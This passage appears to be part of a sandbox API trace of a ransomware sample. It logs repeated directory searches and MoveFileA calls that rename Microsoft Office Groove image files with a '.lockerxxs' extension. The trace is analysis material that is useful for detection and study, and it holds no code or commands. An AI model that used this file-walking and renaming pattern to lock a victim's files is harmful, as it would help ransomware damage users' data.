Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.lockerxxs")) returned 1 [0064.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.lockerxxs")) returned 1 [0064.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.lockerxxs")) returned 1 [0064.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.lockerxxs")) returned 1 [0064.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.lockerxxs")) returned 1 [0064.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.lockerxxs")) returned 1 [0064.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.lockerxxs")) returned 1 [0064.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg.lockerxxs")) returned 1 [0064.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.lockerxxs")) returned 1 [0064.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg.lockerxxs")) returned 1 [0064.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.lockerxxs")) returned 1 [0064.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.lockerxxs")) returned 1 [0064.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.lockerxxs")) returned 1 [0064.110] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0064.112] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0064.115] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.lockerxxs")) returned 1 [0064.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.lockerxxs")) returned 1 [0064.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.lockerxxs")) returned 1 [0064.133] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.lockerxxs")) returned 1 [0064.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.lockerxxs")) returned 1 [0064.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.lockerxxs")) returned 1 [0064.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.lockerxxs")) returned 1 [0064.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.lockerxxs")) returned 1 [0064.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.lockerxxs")) returned 1 [0064.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.lockerxxs")) returned 1 [0064.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.lockerxxs")) returned 1 [0064.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.lockerxxs")) returned 1 [0064.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.lockerxxs")) returned 1 [0064.192] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.lockerxxs")) returned 1 [0064.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.lockerxxs")) returned 1 [0064.200] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.lockerxxs")) returned 1 [0064.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.lockerxxs")) returned 1 [0064.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.lockerxxs")) returned 1 [0064.215] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540020, dwReserved1=0x20004f, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.lockerxxs")) returned 1 [0064.223] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.lockerxxs")) returned 1 [0064.239] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540020, dwReserved1=0x20004f, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.lockerxxs")) returned 1 [0064.246] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3000003, dwReserved1=0x4f8218, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.lockerxxs")) returned 1 [0064.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.lockerxxs")) returned 1 [0064.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.lockerxxs")) returned 1 [0064.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.lockerxxs")) returned 1 [0064.268] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x690076, cFileName=".", cAlternateFileName="")) returned 0x4f81d8 [0064.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.lockerxxs")) returned 1 [0064.282] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4f838c, cFileName=".", cAlternateFileName="")) returned 0x4f8218 [0064.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.lockerxxs")) returned 1 [0064.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 